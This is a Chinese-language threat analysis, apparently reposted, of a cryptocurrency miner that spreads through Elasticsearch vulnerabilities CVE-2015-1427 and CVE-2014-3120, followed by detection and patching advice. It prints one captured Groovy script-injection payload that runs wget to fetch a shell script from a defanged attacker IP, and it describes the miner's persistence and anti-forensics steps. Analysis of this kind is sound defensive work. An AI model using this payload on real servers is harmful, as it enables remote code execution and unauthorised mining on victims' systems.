加密货币挖矿机利用Elasticsearch漏洞进行传播

栏目: 后端 · 发布时间: 5年前

内容简介:ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。能够达到实时搜索,稳定,可靠,快速,安装和使用方便。研究人员在含有Elasticsearch搜索引擎的蜜罐系统中检测到挖矿活动。挖矿攻击活动利用了已知的CVE-2015-1427和CVE-2014-3120漏洞。CVE-2015-1427是Groovy脚

加密货币挖矿机利用Elasticsearch漏洞进行传播

ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用 Java 开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。能够达到实时搜索,稳定,可靠,快速,安装和使用方便。

研究人员在含有Elasticsearch搜索引擎的蜜罐系统中检测到挖矿活动。挖矿攻击活动利用了已知的CVE-2015-1427和CVE-2014-3120漏洞。CVE-2015-1427是Groovy脚本引擎漏洞,允许远程攻击者通过构造的脚本来远程执行任意 shell 命令。CVE-2014-3120是Elasticsearch的默认配置漏洞。目前Elasticsearch已不再支持有漏洞的版本了。

研究人员在运行Elasticsearch的服务器上运行下面的查询命令:

“{“lupin”:{“script”: “java.lang.Math.class.forName(”java.lang.Runtime”).getRuntime().exec(”wget hxxp://69[.]30[.]203[.]170/gLmwDU86r9pM3rXf/update.sh -P
/tmp/sssooo”).getText()”}}}”

相同的攻击系统和攻击主机也使用了相同的命令,该命令也保存着payload。该IP被解析对应的域名为 matrixhazel[.]com ,截止目前该IP已经不能访问了。

加密货币挖矿机利用Elasticsearch漏洞进行传播

图 1. GreyNoise将主机标记为已知的扫描器

挖矿机首先调用shell和运行下载的命令传播bash脚本 update.sh ,命令的输出被设置为 /tmp/sssooo 文件。使用 /tmp 文件是因为在大多数系统中默认的限制比较少。

攻击非常简单,对受害者会带来明显的影响。一旦攻击者获取运行任意命令的能力,就可以尝试进行权限提升,甚至转向其他系统来入侵整个网络。

虽然攻击的方法是差不多的,但是payload可能是不同的。比如研究人员分析的样本中,payload就是 update.sh 。运行后, update.sh 脚本会下载两个文件: devtoolsconfig.json 。脚本随后会应用加密货币挖矿机。

挖矿机的ELF64二进制文件其实是 devtools ,用来帮助更好地伪装挖矿机,因为devtools是GitHub上常见的一款工具。挖矿机使用的配置在 config.json 文件中。

加密货币挖矿机利用Elasticsearch漏洞进行传播

图 2. config.json配置文件

这种方案之前也是被恶意软件广泛使用了,但是封装脚本有许多其他有趣的函数。代码风格与黑客 工具 非常相似,代码的一部分也出现在Xbash相关的恶意软件中。

加密货币挖矿机的应用

挖矿机含有三个文件,可以通过bash中的 wget , curlurl 命令下载:

加密货币挖矿机利用Elasticsearch漏洞进行传播

图 3. wget, curl, url命令

挖矿机可以下载以下内容:

  • Devtools – 真实的挖矿机
  • Update.sh – 用于下载其他部分的bash脚本
  • Config.json – 挖矿机的配置文件

首先,恶意软件会尝试将这些文件保存在 /etc/ ,如果失败的话,就尝试保存在 /tmp 目录。研究人员发现在分析的样本中保存在 /tmp 中是成功的。之后,检查机器中是否有其他挖矿活动。这是假设该设备已经被攻击过了,并尝试从之前的攻击者处去劫持机器。这个过程有可能被用于更新挖矿机到更新的版本。

加密货币挖矿机利用Elasticsearch漏洞进行传播

图 4. 样本中允许挖矿机清除其他已有挖矿机的命令

如果在系统中检测到其他挖矿机,运行的与挖矿机相关的其他进程都会被杀掉。还会重置crontab,这样cron就不会开启其他挖矿机了。

加密货币挖矿机利用Elasticsearch漏洞进行传播

加密货币挖矿机利用Elasticsearch漏洞进行传播

图 5. 系统中其他被杀掉的挖矿机进程

然后挖矿机会把自己加入到 crontab 中,并每 10 分钟运行一次。每次运行时,都会用 chattr -i 先解锁自己,并更新其文件,最后用 chattr +i 来保护文件来防止文件被低权限的用户所修改或删除。挖矿机还会清除历史记录来防止被追踪,如图8所示。其中有趣的一点是当脚本在root目录运行时,脚本会尝试将自己的 SSH key 加入到 authorized_keys 中,这样就可以无密码登陆了。但是命令顺序有问题,导致 key 刚加入 authorized_keys 就被移除了。

加密货币挖矿机利用Elasticsearch漏洞进行传播

图 6. 挖矿机的其他功能:组件保护、通过crontab完成驻留、网络流量加密

加密货币挖矿机利用Elasticsearch漏洞进行传播

图 7. 挖矿机修改系统的iptables/firewall

加密货币挖矿机利用Elasticsearch漏洞进行传播

图 8. 挖矿机通过清除历史记录和文件来防止被追踪

结论和建议

为了预防利用Elasticsearch已知漏洞的攻击,对系统定期打补丁非常有必要,而且需要对系统进行安全监控。Elasticsearch中注入的命令有一些共同点:

  • 都使用shell来运行命令;
  • 都含有从远程/本地位置下载文件的命令,比如curl, wget, url, ftp/get等;
  • 下载文件到/etc或/tmp目录;
  • 在下载恶意文件的过程中,主机尝试所有下载文件的位置和要在本地系统运行的命令。

检测相关的攻击非常重要,需要通过以下措施:

  • 对Elasticsearch使用记录日志,监控可能被用于命令注入的字符串;
  • 监控系统行为。只有授权的用户和解决方案才能使用shell;
  • 通过相关性对网络流量进行分类。本例中,恶意IP每10分钟被调用一次。这可以被用于进程监控和流量分析中。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Node.js in Action

Node.js in Action

Mike Cantelon、Marc Harter、TJ Holowaychuk、Nathan Rajlich / Manning Publications / 2013-11-25 / USD 44.99

* Simplifies web application development * Outlines valuable online resources * Teaches Node.js from the ground up Node.js is an elegant server-side JavaScript development environment perfect for scal......一起来看看 《Node.js in Action》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器